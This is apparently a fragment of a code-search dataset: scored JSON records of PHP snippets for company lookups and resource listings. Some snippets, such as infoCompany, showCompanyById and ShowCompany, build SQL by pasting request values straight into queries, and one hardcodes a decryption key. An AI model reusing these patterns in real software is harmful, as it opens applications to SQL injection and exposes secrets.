\"Headquarter: \".$this->headquarter.\"<br>\";\n echo \"Website: \".$this->website.\"<br>\";\n echo \"Games: \".$this->games.\"<br>\";\n echo \"Images: \".\"<img src=$this->imageURL></img><br>\";\n echo \"Num-likes: \".$this->num_likes.\"<br>\";\n }", "title": "" }, { "docid": "32e18e55c958b2d1c40452495172a112", "score": "0.56836414", "text": "public function getComponentsInfo();", "title": "" }, { "docid": "e4f52b214d1d9e4b5136a98846a9f02d", "score": "0.56625354", "text": "function infoCompany($companyid){\n\t\t$sql = \"\n\t\t\tSELECT DES_DECRYPT(c.`skeys`,'sonnk2504') AS skeys, c.count_warehouse,c.count_branch, c.id, c.mst\n\t\t\tFROM `hotel_company` c\n\t\t\tWHERE c.id = '$companyid'\n\t\t\";\n\t\t$query = $this->model->query($sql)->execute();\n\t\treturn $query[0];\n\t}", "title": "" }, { "docid": "f4a0834374bfcca5b9a2ed4943e73de3", "score": "0.56614333", "text": "function getOwnerCompany() {\n return $this->owner_company;\n }", "title": "" }, { "docid": "613ff77f4fabbeacc8d30633cc0d0f69", "score": "0.565864", "text": "function getCompanyName() {\n \t$company = $this->getCompany();\n \treturn instance_of($company, 'Company') ? $company->getName() : lang('-- Unknown --');\n }", "title": "" }, { "docid": "40b0a26c0f94ff3912d1dad52a924653", "score": "0.5651945", "text": "public function getInfo( $id ) {\n $company = $this->get('company/' . $id);\n if(!isset($company['id'])) return null;\n return new Company($company);\n }", "title": "" }, { "docid": "b0b8a55869f38977aa0c48f62034d144", "score": "0.564115", "text": "function showCompanyById($company_id){\n\t\t$sql = \"SELECT * FROM companies WHERE company_id='$company_id'\";\n\t\t$result = $this->conn->query($sql);\n\t\treturn mysqli_fetch_assoc($result);\n\t}", "title": "" }, { "docid": "505885082502e9ca94b56647f2dccbec", "score": "0.563904", "text": "public function getCompany() // getter \n {\n return $this->companyName; // return value\n }", "title": "" }, { "docid": "6f1c41016290e40a6a69aac030565ea3", "score": "0.56384087", "text": "function getCostPersonalTagCompany(){\n\treturn campo('config_system','id','1','cost_company_personal_tag');\n}", "title": "" }, { "docid": "a432e2b08a70ed0e05d24978f93fef96", "score": "0.56343466", "text": "public function findCompanies(){\n $data = SCompany::select('id_company', 'name')\n ->get();\n return response()->json($data);\n }", "title": "" }, { "docid": "c93469c9c31d5e5e8da0f50735296db6", "score": "0.5631786", "text": "function get_customer_info2($name) {\n try {\n $customer_client_info = new SoapClient($this->wsdl_url_customer);\n $customer_client_info->__setSoapHeaders($this->auth_info);\n \n $GetCustomerInfoRequest_info = array('name' => $name);\n \n if ($GetCustomerInfoRequest_info) {\n $customer_response = $customer_client_info->get_customer_info($GetCustomerInfoRequest_info);\n \n if ($customer_response->customer_info) {\n $this->customer_info = $customer_response->customer_info;\n return $resp = true;\n } else {\n \t $this->customer_info = \"\";\n return $resp = false;\n }\n } else {\n return $resp = false;\n }\n } catch (SoapFault $exception) { }\n }", "title": "" }, { "docid": "171c48a35ab6c996cf5f024884f7e594", "score": "0.56257194", "text": "public function get_all_company_properties() {\n\t\t\treturn $this->run( 'properties/v1/companies/properties' );\n\t\t}", "title": "" }, { "docid": "3ee1f045e72c916fb819773236dd3fcb", "score": "0.5625184", "text": "public function getInfo() {}", "title": "" }, { "docid": "ee83e17696d3f4400a984be3437f0432", "score": "0.5612942", "text": "public function contact_company()\n {\n }", "title": "" }, { "docid": "8b68d3394aa5ef8ee8c9f1c61a307384", "score": "0.56128085", "text": "public function getCompanyName()\n {\n return $this->company_name;\n }", "title": "" }, { "docid": "8b68d3394aa5ef8ee8c9f1c61a307384", "score": "0.56128085", "text": "public function getCompanyName()\n {\n return $this->company_name;\n }", "title": "" }, { "docid": "eafab1bb5d719c380a213e23ddabb4a3", "score": "0.56079566", "text": "public function list_companies() {\r\n\t\t// Execute the command\r\n\t\t$response = $this->execute( 'list_companies' );\r\n\t\t\r\n\t\t// Return the graphs if successful\r\n\t\treturn ( $this->success ) ? $response->companies : false;\r\n\t}", "title": "" }, { "docid": "e0f6d4b73f20747e5d77c9a59785351a", "score": "0.5597342", "text": "public function getFreeCompanies() { return $this->FreeCompanies; }", "title": "" }, { "docid": "b3c6709412abd457302a0ca8fa5edd1d", "score": "0.5587764", "text": "public function getCompanyName(): string\n {\n return $this->companyName;\n }", "title": "" }, { "docid": "b3c6709412abd457302a0ca8fa5edd1d", "score": "0.5587764", "text": "public function getCompanyName(): string\n {\n return $this->companyName;\n }", "title": "" }, { "docid": "cd287359d91c6fd4b2652b6d51215a18", "score": "0.5583049", "text": "function showCompany() {\n\t\t\t\t\t$company = Partner::find_by_name(params(0));\n\n\t\t\t\t\t$editForm = new h2o('views/editCompany.html');\n\t\t\t\t\techo $editForm->render(compact('company'));\n\t\t\t\t}", "title": "" }, { "docid": "324c877602cfe118d3be3ebc5a92cde4", "score": "0.55761033", "text": "private function value_company($data){\n $dataArray = array();\n $dataArray['id'] = $this->value_source_uid($data);\n $dataArray['name'] = $this->get_name($data);\n $dataArray['angellist_url'] = $this->get_angellist_url($data);\n $dataArray['logo_url'] = $this->get_logo_url($data);\n $dataArray['thumb_url'] = $this->get_thumb_url($data);\n $dataArray['launch_date'] = $this->get_launch_date($data);\n $dataArray['quality'] = $this->get_quality($data);\n $dataArray['product_desc'] = $this->get_product_desc($data);\n $dataArray['high_concept'] = $this->get_high_concept($data);\n $dataArray['follower_count'] = $this->get_follower_count($data);\n $dataArray['company_url'] = $this->get_company_url($data);\n $dataArray['created_at'] = $this->get_created_at($data);\n $dataArray['updated_at'] = $this->get_updated_at($data);\n $dataArray['twitter_url'] = $this->get_twitter_url($data);\n $dataArray['blog_url'] = $this->get_blog_url($data);\n $dataArray['video_url'] = $this->get_video_url($data);\n $dataArray['crunchbase_url'] = $this->get_crunchbase_url($data);\n $dataArray['status'] = $this->get_status($data);\n \n \n return $dataArray;\n }", "title": "" }, { "docid": "4afa9a292dcaf94cdc20808b2815adc7", "score": "0.5575357", "text": "function draw_CompanyInfo() {\n ?>\n <div class=\"holderRightParceForm\">\n <div class=\"titleRightForm\">Company Info</div>\n <?php\n $this->draw_CI_companyNameAndAddress();\n $this->draw_CI_logo();\n $this->draw_CI_bankInfo();\n $this->draw_CICurrency();\n $this->draw_CIPricingQuantityChequeInfo();\n if ($this->cheque->type == Cheque::TYPE_LASER) {\n $this->draw_CIboxing();\n }\n $this->draw_additionalProducts();\n ?>\n\n <div class=\"clearBoth\"></div>\n </div>\n <?php\n }", "title": "" }, { "docid": "5aa4f585c30af83531ed2858a7f04019", "score": "0.55750245", "text": "function get_company_detail($id) {\n return get_view_data_where('org_detail', $id);\n}", "title": "" }, { "docid": "78927de40380a12a8697c302ce6b845b", "score": "0.556954", "text": "public function getBillingCompany()\n {\n return $this->model->getBillingCompany();\n }", "title": "" }, { "docid": "54d0d4d0141f6de121e2266fce5616d0", "score": "0.5565069", "text": "public function getCompanyName() {\n\t\treturn $this->company_name; \n\t}", "title": "" }, { "docid": "f2860744e858b0a3b4aef8280835e057", "score": "0.55561304", "text": "public function companylist() {\r\n $companies = $this->model->getCompanies();\r\n return $this->view('company/companylist', $companies);\r\n }", "title": "" }, { "docid": "09dcd4f68c648e1a296413d87f2fc17b", "score": "0.5555367", "text": "public function getCompanyName()\r\n {\r\n return $this->companyName;\r\n }", "title": "" }, { "docid": "ec9a081232d2bc3208b32d520fe37dea", "score": "0.5554232", "text": "abstract public function getInfo();", "title": "" }, { "docid": "de0aaba220e01f3e16f6ba2f3183e1b7", "score": "0.5551159", "text": "public function getCompaniesReport() : CompaniesReport\n\t{\n\t\t$response = $this->execute('Empresa');\n\t\t\n\t\t$companiesByArea = [];\n\t\tforeach($response['e'] as $areaPool){\n\t\t\t$i = $areaPool['a'];\n\t\t\tforeach($areaPool['e'] as $company){\n\t\t\t\t$companiesByArea[$i][]=new Company(\n\t\t\t\t\t$company['a'],\n\t\t\t\t\t$company['c'],\n\t\t\t\t\t$company['n']\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\t\treturn new CompaniesReport($response['hr'],$companiesByArea);\n\t}", "title": "" }, { "docid": "c6236b00b78b67c411c11963d1ae51ba", "score": "0.5548457", "text": "public function company(Request $request)\n {\n $company_customer = Company::find($request->id);\n return response()->json($company_customer);\n }", "title": "" }, { "docid": "74d16f2d2fe417e15adaee6972789b2a", "score": "0.5544402", "text": "public function ShowCompany()\r\n\t{\r\n\t\t//CALL sp_company_show('$CallId','$AlterID')\r\n\t\t$CallId = $_REQUEST['CallId'];\r\n\t $AlterID = $_REQUEST['AlterID'];\r\n\t\tif($AlterID==\"\"){\r\n\t\t\t$qry = \"Select distinct UCASE(CompanyName) as CompanyName from tblcompany where ComMob = '$CallId' Order by CompanyName\";\r\n\t\t}else if($CallId==\"\"){\r\n\t\t\t$qry = \"Select distinct UCASE(CompanyName) as CompanyName from tblcompany where ComMob = '$AlterID' Order by CompanyName\";\r\n\t\t}else{\r\n\t\t\t$qry = \"Select distinct UCASE(CompanyName) as CompanyName from tblcompany where ComMob = '$CallId' OR ComMob= '$AlterID' Order by CompanyName\";\r\n\t\t}\r\n\t\t$result = mysqli_query($this->con, $qry);\r\n\t\t$num_rows = mysqli_num_rows($result);\r\n\t\tif($num_rows>0)\r\n\t\t\t$status=\"true\";\r\n\t\telse\r\n\t\t\t$status=\"false\";\r\n\t\t$record=array();\r\n\t\twhile($info = mysqli_fetch_object($result))\r\n\t\t{\r\n\t\t\t$record[] = $info;\r\n\t \t//print_r($info);exit;\r\n\t\t}\r\n\t\treturn array(\"status\"=>\"$status\",\"record\"=>$record);\r\n\t}", "title": "" }, { "docid": "34cb26dc5337a6546d6b2026d2cf0cfe", "score": "0.55419534", "text": "public function testGetCoreCompany()\n {\n $responseEmpty = new Canddi\\Service\\Lookup\\Response\\Company([]);\n $this->assertNull($responseEmpty->getCoreCompany());\n\n // Now lets test that all the data gets into the core properly\n $testData = $this->_getTestData();\n $response = new Canddi\\Service\\Lookup\\Response\\Company($testData);\n $coreCompany = $response->getCoreCompany();\n\n $testDataSocial = $testData['SocialMedia'];\n $testDataAddress = $testData['Location']['Address'];\n $this->assertInstanceOf(Canddi_Core_Company::class, $coreCompany);\n $this->assertEquals($testData['CompanyName'], $coreCompany->getCompanyName());\n $this->assertEquals($testData['Description'], $coreCompany->getCompanyDescription());\n $this->assertEquals($testDataSocial['Facebook']['url'], $coreCompany->getCompanyFacebook());\n $this->assertEquals($testDataSocial['Twitter']['url'], $coreCompany->getCompanyTwitter());\n $this->assertEquals($testDataSocial['LinkedIn']['url'], $coreCompany->getCompanyLinkedIn());\n $this->assertEquals($testData['Logo'], $coreCompany->getCompanyLogo());\n $this->assertEquals($testData['Industry'], $coreCompany->getCompanyIndustry());\n $this->assertEquals($testData['WebsiteURL'], $coreCompany->getCompanyWebsite());\n $this->assertEquals($testData['PhoneNumbers'], $coreCompany->getCompanyPhones());\n $this->assertEquals($testData['EmailAddresses'], $coreCompany->getCompanyEmails());\n $this->assertEquals($testDataAddress['Line1'], $coreCompany->getCompanyAddrLine1());\n $this->assertEquals($testDataAddress['Line2'], $coreCompany->getCompanyAddrLine2());\n $this->assertEquals($testDataAddress['City'], $coreCompany->getCompanyAddrCity());\n $this->assertEquals($testDataAddress['PostalCode'], $coreCompany->getCompanyAddrPostalCode());\n $this->assertEquals($testData['IndustrySector'], $coreCompany->getIndustrySector());\n $this->assertEquals($testData['IndustryGroup'], $coreCompany->getIndustryGroup());\n $this->assertEquals($testData['IndustrySIC'], $coreCompany->getIndustrySIC());\n $this->assertEquals($testData['IndustryNAICS'], $coreCompany->getIndustryNAICS());\n $this->assertEquals($testData['Tags'], $coreCompany->getTags());\n $this->assertEquals($testData['AlexaRank'], $coreCompany->getAlexaRank());\n $this->assertEquals($testData['Employees'], $coreCompany->getNoEmployees());\n $this->assertEquals($testData['EmployeeRange'], $coreCompany->getEmployeeRange());\n $this->assertEquals($testData['MarketCap'], $coreCompany->getMarketCap());\n $this->assertEquals($testData['Raised'], $coreCompany->getRaised());\n $this->assertEquals($testData['Revenue'], $coreCompany->getRevenue());\n $this->assertEquals($testData['RevenueEstimated'], $coreCompany->getRevenueRange());\n }", "title": "" }, { "docid": "8356400c0ef9132413e3d3b0a6120f63", "score": "0.5539967", "text": "public function Info()\n\t{\n\t\t$sql = \"SELECT \n\t\t\t\t\t\t*, \n\t\t\t\t\t\tmajor.name AS majorName, \n\t\t\t\t\t\tsubject.name AS name,\n\t\t\t\t\t\tcourse.tipo as tipoCuatri,\n\t\t\t\t\t\tsubject.totalPeriods,\n\t\t\t\t\t\t(SELECT IF((course.modality = 'Online'), subject.crm_id_online, subject.crm_id_local)) AS crm_id,\n\t\t\t\t\t\t(SELECT IF((course.modality = 'Online'), subject.crm_name_online, subject.crm_name_local)) AS crm_name\n\t\t\t\t\tFROM\n\t\t\t\t\t\tcourse\n\t\t\t\t\tLEFT JOIN subject ON subject.subjectId = course.subjectId\n\t\t\t\t\tLEFT JOIN major ON major.majorId = subject.tipo\n\t\t\t\t\tWHERE\n\t\t\t\t\t\tcourseId='\" . $this->courseId . \"'\";\n\t\t//configuramos la consulta con la cadena de actualizacion\n\n\t\t//$sql=\"select \";\n\n\t\t$this->Util()->DB()->setQuery($sql);\n\t\t//ejecutamos la consulta y obtenemos el resultado\n\t\t$result = $this->Util()->DB()->GetRow();\n\t\tif ($result) {\n\t\t\t//\t\t\t\t$result = $this->Util->EncodeRow($result);\n\t\t}\n\n\t\t$result[\"access\"] = explode(\"|\", $result[\"access\"]);\n\n\t\t$user = new User;\n\t\t$user->setUserId($result[\"access\"][0]);\n\t\t$info = $user->Info();\n\t\t$result[\"encargado\"] = $info;\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "11749085d0335466dafa27ce6fa6d538", "score": "0.5538931", "text": "public function getAllCompanyAccounts()\n { \n // select all fields and columns form the 'companies' table and return is as an array of objects\n $companies = Company::all();\n\n // if the length of array of company objects is greater than 0 (contains elements)\n if (count($companies) > 0) {\n // loop through each company, get the token from the 'company_activation_codes' table and update the object\n foreach ($companies as $key => $value) {\n $token = CompanyActivationCode::where('company_id', $value['id'])->first()->activation_code;\n $value['token'] = $token;\n $companies[$key] = $value;\n }\n }\n \n // send a response to the requester of the data\n $response_message = array('success' => true, 'message' => 'Data fetched', 'data' => $companies);\n return response()->json($response_message);\n }", "title": "" }, { "docid": "328355c068551af38cc867e2f5adf642", "score": "0.5528161", "text": "public function getInfos(){\n\t\treturn array(\n\t\t\t\"serviceDescription\" => \"This is the Comunic API Server.\",\n\t\t\t\"clientURL\" => \"https://communiquons.org/\",\n\t\t);\n\t}", "title": "" }, { "docid": "69b4d88d0abb7579da981f0c2872f30b", "score": "0.55213165", "text": "public function info()\n {\n $info = array();\n $info['author'] = 'Chris Graham';\n $info['organisation'] = 'ocProducts';\n $info['hacked_by'] = null;\n $info['hack_version'] = null;\n $info['version'] = 2;\n $info['locked'] = false;\n $info['parameters'] = array('select', 'zone', 'title');\n return $info;\n }", "title": "" }, { "docid": "f88dbd11c389c5f0b9bb25a063ed51c9", "score": "0.5513164", "text": "public function getCompanyName()\n {\n return $this->companyName;\n }", "title": "" }, { "docid": "f88dbd11c389c5f0b9bb25a063ed51c9", "score": "0.5513164", "text": "public function getCompanyName()\n {\n return $this->companyName;\n }", "title": "" } ]
26d71a0b0829d496c8e6bbe23ccaa28a
Display a listing of the resource.
[ { "docid": "1ec2ce16fca41d6e412943191314fbba", "score": "0.0", "text": "public function index()\n {\n $menu = JscMenus::orderby('id','desc')->paginate(5);\n // $paginate = JscMenus::orderby('id','desc')->get();\n\n return view('admin.menu.list', compact('menu'));\n }", "title": "" } ]
[ { "docid": "a1420ad0fb284c611971591393b45aef", "score": "0.7509679", "text": "public function index()\n\t{\n\t\t$resources = Resources::all();\n\t\t$collection = array();\n\t\t\n\t\tforeach ($resources as $name => $options)\n\t\t{\n\t\t\tif (false === value($options->visible)) continue;\n\t\t\t\n\t\t\t$collection[$name] = $options;\n\t\t}\n\n\t\t$table = $this->presenter->table($collection);\n\n\t\tSite::set('title', trans('orchestra/foundation::title.resources.list'));\n\t\tSite::set('description', trans('orchestra/foundation::title.resources.list-detail'));\n\n\t\treturn View::make('orchestra/foundation::resources.index', array(\n\t\t\t'eloquent' => $collection,\n\t\t\t'table' => $table,\n\t\t));\n\t}", "title": "" }, { "docid": "03c28056ac36b9758780b52bcb56ea11", "score": "0.7453479", "text": "public function actionList() {\n $this->getList();\n }", "title": "" }, { "docid": "79ad7ebbde0cad2af3c2becbd440dc9d", "score": "0.736227", "text": "public function listing();", "title": "" }, { "docid": "0aa4853e6e1c011310051c464837c9be", "score": "0.7341522", "text": "public function index()\n {\n $resources = $this->resource->paginate(10);\n\n return view('manager.resources.index', compact('resources'));\n }", "title": "" }, { "docid": "f6249e52b27cd61546f9ac9938889b8c", "score": "0.72989535", "text": "public function index()\n {\n $resources = Resource::all();\n return view('admin.resource.list')->with('resources',$resources);\n }", "title": "" }, { "docid": "dd0281461ff38e01dc7daaf263a98684", "score": "0.72688746", "text": "function index() {\n $this->getList();\n }", "title": "" }, { "docid": "223999e9a02d01dc0cad36705dec31b1", "score": "0.72478926", "text": "public function actionList() {\n $this->_getList();\n }", "title": "" }, { "docid": "eacf64f52d5b73d527cae880dfe65bc1", "score": "0.72152483", "text": "public function index()\n {\n return RecipeListResource::collection(Recipe::paginate(10));\n }", "title": "" }, { "docid": "5e485f5256447384c89b0040914b850e", "score": "0.7209843", "text": "public function index()\n {\n $resources = Resource::orderBy('id', 'desc')->paginate(10);\n\n return view('admin.resource.index', [\n 'resources' => $resources\n ]);\n }", "title": "" }, { "docid": "2e3564beb136b7de619ee51f1088fb53", "score": "0.719667", "text": "public function index()\n {\n\n return \\View::make('resources.index')\n ->with(['displayName' => 'resources']\n );\n }", "title": "" }, { "docid": "6ba01bde2894545b26719d51e92cebf6", "score": "0.71551645", "text": "public function indexAction()\n {\n\n $em = $this->getDoctrine()->getManager();\n\n $resources = $em->getRepository('AppBundle:Resource')->findAllDesc();\n\n return $this->render('admin/resource/index.html.twig', array(\n 'resources' => $resources,\n ));\n }", "title": "" }, { "docid": "42bee349ff83930cb164b3a793f6d5b2", "score": "0.71432024", "text": "public function listAction()\n {\n //Setup search properties form\n $searchForm = $this->service->getForm('Search');\n $action = $this->view->url(['action'=>'search'], 'controllers');\n $searchForm->setAction($action);\n $this->view->searchForm = $searchForm;\n //Setup properties list\n $this->service->setPaginatorOptions($this->getAppSetting('paginator'));\n $page = (int) $this->param($this->view->translate('page'), 1);\n $collection = $this->service->retrievePropertyCollection($page);\n $this->view->collection = $collection;\n $this->view->paginator = $this->service->getPaginator($page);\n }", "title": "" }, { "docid": "d7820004a578ddc16d57dff08d715ef0", "score": "0.713195", "text": "public function showResource()\n\t{\n\t\treturn view('resources.list')->with('resources', Resources::all());\n\t}", "title": "" }, { "docid": "1ac60064d05eb6556018c88c4294567a", "score": "0.7113176", "text": "public function index()\n\t{\n\t\t$this->lists();\n\t}", "title": "" }, { "docid": "21284f1b8a31a69a0252300fcccbc357", "score": "0.71072334", "text": "public function listingAction()\r\n {\r\n\r\n $oZendDbSelect = new Zend_Db_Select(Zend_Db_Table::getDefaultAdapter());\r\n $oZendDbSelect->from('View_Rclient_Types_Listing')->order('cl_type_id asc');\r\n\r\n // Query search engine\r\n $oMySearchEngine = new My_Search_Engine($oZendDbSelect);\r\n $oMySearchEngine->findWordOn(array('cl_type_libelle' => array('operator' => 'like')));\r\n\r\n $oMySearchEngine->findByFields(\r\n array(\r\n 'cl_type_id' => array('operator' => 'eql'),\r\n 'cl_type_libelle' => array('operator' => 'like')\r\n )\r\n );\r\n\r\n $oMySearchEngine->makeOrderBy();\r\n\r\n // Downloading the filtered list in CSV\r\n if ($this->_helper->ContextSwitch()->getCurrentContext() == 'csv') {\r\n $oExport = new My_Data_Export_CSV(new My_Data_Export_Source_Adapter_Select($oMySearchEngine->getSelect()));\r\n $this->view->csv = $oExport->make();\r\n $this->view->filename = Phoenix_Data_Export_Csv::buildFileName();\r\n } // Viewing the filtered list in HTML\r\n else {\r\n // Initialize paginator adapter\r\n $oAdapter = new Zend_Paginator_Adapter_DbSelect($oMySearchEngine->getSelect());\r\n\r\n // Pagination management\r\n $oPaginator = new My_Paginator($oAdapter);\r\n $oPaginator->setCurrentPageNumber($this->_getParam('page'));\r\n $oPaginator->setItemCountPerPage(15);\r\n $this->view->paginator = $oPaginator;\r\n }\r\n }", "title": "" }, { "docid": "68a189cc0bf8bc79e0e116676dbdb66b", "score": "0.70221174", "text": "public function actionList()\n {\n $this->assign(\"name\", \"leiyi\");\n\n $this->display('home/page/list.tpl');\n }", "title": "" }, { "docid": "eeebaafb341e5dcfe7cd3e2d7c48f741", "score": "0.7020841", "text": "public function listAction()\n {\n \t$currentPage = 1;\n \t//Check if the user is not on page 1\n \t$i = $this->_request->getQuery('i');\n \tif(!empty($i))\n \t{\n \t\t$currentPage = $this->_request->getQuery('i');\n \t}\n \t\n \t//Create a db object\n \trequire_once \"../application/models/Db/Db_Db.php\";\n \t$db = Db_Db::conn();\n \t\n \t//Create a Zend_db_select object\n \t$sql = new Zend_Db_Select($db);\n \t\n \t//Define the columns to retrieve as well as table.\n \t$columns = array(\"id\",\"artist_name\");\n \t$table = array(\"artists\");\n \t\n \t//SELECT `artists`.`id`, `artists`.`artist_name` FROM `artists`\n\t\t$statement = $sql->from($table, $columns);\n \t\n \t//Initialize the Zend_Paginator\n \t$paginator = Zend_Paginator::factory($statement);\n \t\n \t//Set the properties for the pagination\n \t$paginator->setItemCountPerPage(10);\n \t$paginator->setPageRange(10);\n \t$paginator->setCurrentPageNumber($currentPage);\n \t\n \t$this->view->paginator = $paginator;\n \t\n }", "title": "" }, { "docid": "7c87396141031b5bdb4d7fce1a123f8f", "score": "0.7008967", "text": "public function index()\n {\n $this->listing('0', '', '0');\n }", "title": "" }, { "docid": "20d766db80674b0e4072b2719471b257", "score": "0.69712967", "text": "public function index()\n {\n\n $ourresource = OurResource::all();\n return view('Admin.ourresource.all', compact('ourresource'));\n }", "title": "" }, { "docid": "217e339de79424bf236318e41ddb0695", "score": "0.6958182", "text": "public function index()\n {\n $resources = Resource::getResourceDetails();\n return view('admin.resources.index')->with('resources', $resources);\n }", "title": "" }, { "docid": "84dde6f109c23a0b3b845c0d6e864169", "score": "0.69026124", "text": "public function index()\n\t{\n $config['list'] = VrResources::get()->toArray();\n $config['title'] = trans('app.adminMenuResources');\n $config['no_data'] = trans('app.adminNoData');\n $config['new'] = route('app.resources.create');\n $config['edit'] = 'app.resources.edit';\n $config['delete'] = 'app.resources.destroy';\n return view('admin.adminList', $config);\n\t}", "title": "" }, { "docid": "6e166e624d00d2c763463d2f398dd1ef", "score": "0.68946916", "text": "public function indexAction() {\n $this->pageTitle = $this->_(\"AclResource management\");\n $grid = new AclResourceGrid(\"AclResource\");\n $grid->run();\n $this->view->setVars(array(\n 'grid' => $grid\n ));\n }", "title": "" }, { "docid": "bebf123d6dd48762f8190b1776616d05", "score": "0.68929", "text": "public function index()\n {\n if (is_null($this->resource)) {\n return response()->json($this->service->paginate());\n } else {\n return $this->resource::collection($this->service->paginate());\n }\n }", "title": "" }, { "docid": "97968d8873a94786d3e40145696ee2bd", "score": "0.68919075", "text": "public function index()\n {\n return Resources::collection(Model::orderBy('id', 'desc')->paginate());\n }", "title": "" }, { "docid": "5dc08bdec3bdf1e8261a81891fdb5f4e", "score": "0.6873949", "text": "public function index()\n {\n $arrObjResource = Resource::latest()->paginate(5);\n return view('resource.index', compact('arrObjResource'))\n ->with('i', (request()->input('page', 1) - 1) * 5);\n }", "title": "" }, { "docid": "0e8ad7256c7bbd8504ebf3d782bb3209", "score": "0.68704486", "text": "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $resources = $em->getRepository('AppBundle:Resource')->findBy(array('channel' => $this->getUser()->getActiveChannel()));\n\n return $this->render('AppBundle:Resource:index.html.twig', array(\n 'resources' => $resources,\n 'channel' => $this->getUser()->getActiveChannel(),\n ));\n }", "title": "" }, { "docid": "e76df9bb5e40cc75acb3fb5e4b084b82", "score": "0.6848992", "text": "public function listing() {\n $title = \"Admin - Listing\";\n $this->set(compact('title'));\n\n $conditions = array('delete_status' => NotDeleted);\n if ($this->request->is('post') && !empty($this->request->data['search'])) {\n $conditions['OR']['first_name LIKE'] = '%' . $this->request->data['search'] . '%';\n $conditions['OR']['last_name LIKE'] = '%' . $this->request->data['search'] . '%';\n $conditions['OR']['email LIKE'] = '%' . $this->request->data['search'] . '%';\n }\n\n $this->paginate = [\n 'limit' => PAGING_SIZE,\n 'conditions' => $conditions,\n ];\n $Results = $this->paginate('Admins');\n $this->set(compact('Results'));\n\n if ($this->request->is('ajax')) {\n $this->viewBuilder()->layout('ajax');\n $this->viewBuilder()->templatePath('Element' . DS . 'admin' . DS . 'admin');\n $this->render('index');\n }\n }", "title": "" }, { "docid": "6b9f4551cb0d7103440e15f4ff2bc102", "score": "0.6844889", "text": "function listing()\n\t\t{\n\t\t// en $this->_view->_listado para poder acceder a el desde la vista.\n\t\t\t$this->_view->_listado = $listado = $this->_actividadModel->getActividad();\n\t\t\t$this->_view->render('listing', '', '',$this->_sidebar_menu);\n\t\t}", "title": "" }, { "docid": "95b579529f8b40d1b2b6ae580a9b3250", "score": "0.6835474", "text": "public function index()\n {\n $this->params['page'] = empty($this->params['page']) ? 1 : $this->params['page'];\n $collection = $this->model->paginate($this->params);\n $this->set('objects', $collection['objects']);\n $this->set_pagination($collection);\n }", "title": "" }, { "docid": "358b82626374a39ca1c5cb87e1d94243", "score": "0.68288803", "text": "public function crane_list() {\n\t\t\t$this->setAction('index');\t\n\t\t\t$this->render('crane_list');\n\t}", "title": "" }, { "docid": "4b8e52b6fdf81afdda958487f24d56b3", "score": "0.68279797", "text": "public function listAction()\n {\n $catalog = $this->container->get('catalog');\n\n $book_list = $catalog->listBooks();\n\n return [\n 'list' => $book_list,\n ];\n }", "title": "" }, { "docid": "3824dabd41509647ac9d2bc02a329701", "score": "0.68272334", "text": "public function indexAction()\n {\n $config = $this->getConfiguration();\n\n $listRenderer = $this->getListRenderer();\n $sort = $this->getSort();\n $listRenderer->setSort($sort);\n $criteria = $this->getFilterCriteria();\n\n $pager = $this->getPager();\n $pager->setMaxRows($config->getListOption('max_page_rows'));\n $pager->setPage($this->getCurrentPage());\n $pager->setQueryBuilder(\n $this->getModelManager()->buildQuery(\n $criteria,\n $sort\n )\n );\n\n $criteria = $this->getModelManager()->mergeFilterCriteriaObjects($criteria);\n $filterForm = $this->getFilterRenderer()->getForm($criteria);\n\n return $this->container->get('templating')\n ->renderResponse($listRenderer->getTemplate(), array(\n 'renderer' => $listRenderer,\n 'filter' => $this->getFilterRenderer(),\n 'pager' => $pager,\n 'csrf' => $this->container->get('form.csrf_provider')->generateCsrfToken('list'),\n 'filtered' => count($criteria),\n 'form' => $filterForm->createView()\n ));\n }", "title": "" }, { "docid": "cf4f6462e1cc3025d88860aa2c4ba62f", "score": "0.6825393", "text": "function index()\n\t{\n\t\t$args = func_get_args();\n\t\tcall_user_func_array(array($this, 'listing'), $args);\n\t}", "title": "" }, { "docid": "01d58c7ca6fc90f9a714a9eb1332496e", "score": "0.6821498", "text": "public function index()\n\t{\n\t\t$resourceLikes = $this->resourceLikeRepository->paginate(10);\n\n\t\treturn view('resourceLikes.index')\n\t\t\t->with('resourceLikes', $resourceLikes);\n\t}", "title": "" }, { "docid": "550d19f420a94197568709e17d512612", "score": "0.68181574", "text": "public function listTask()\n\t{\n\t\t// Incoming directory (this should be a path built from a resource ID and its creation year/month)\n\t\t$listdir = Request::getString('listdir', '');\n\t\tif (!$listdir)\n\t\t{\n\t\t\techo '<p class=\"error\">' . Lang::txt('COM_RESOURCES_ERROR_NO_LISTDIR') . '</p>';\n\t\t\treturn;\n\t\t}\n\n\t\t// Incoming sub-directory\n\t\t$subdir = Request::getString('subdir', '');\n\n\t\t// Build the path\n\t\t$path = Utilities::buildUploadPath($listdir, $subdir);\n\n\t\t$folders = array();\n\t\t$docs = array();\n\n\t\tif (is_dir($path))\n\t\t{\n\t\t\t// Loop through all files and separate them into arrays of images, folders, and other\n\t\t\t$dirIterator = new \\DirectoryIterator($path);\n\n\t\t\tforeach ($dirIterator as $file)\n\t\t\t{\n\t\t\t\tif ($file->isDot())\n\t\t\t\t{\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\t$name = $file->getFilename();\n\n\t\t\t\tif ($file->isDir())\n\t\t\t\t{\n\t\t\t\t\t$folders[$path . DS . $name] = $name;\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\tif ($file->isFile())\n\t\t\t\t{\n\t\t\t\t\tif (in_array(strtolower($name), array('cvs', '.svn', '.git', '.ds_store')))\n\t\t\t\t\t{\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\n\t\t\t\t\t$docs[$path . DS . $name] = $name;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tksort($folders);\n\t\t\tksort($docs);\n\t\t}\n\n\t\t$this->view\n\t\t\t->set('listdir', $listdir)\n\t\t\t->set('subdir', $subdir)\n\t\t\t->set('docs', $docs)\n\t\t\t->set('folders', $folders)\n\t\t\t->set('config', $this->config)\n\t\t\t->setErrors($this->getErrors())\n\t\t\t->setLayout('list')\n\t\t\t->display();\n\t}", "title": "" }, { "docid": "78f3ca79946467b9bfd80223ec5ba614", "score": "0.6808544", "text": "public function index()\n {\n return PlayResource::collection(Play::paginate());\n }", "title": "" }, { "docid": "f1c7ec0399bbc0a26f289a612459ed88", "score": "0.67977417", "text": "function index()\r\n\t{\r\n $this->showlist();\r\n\t}", "title": "" }, { "docid": 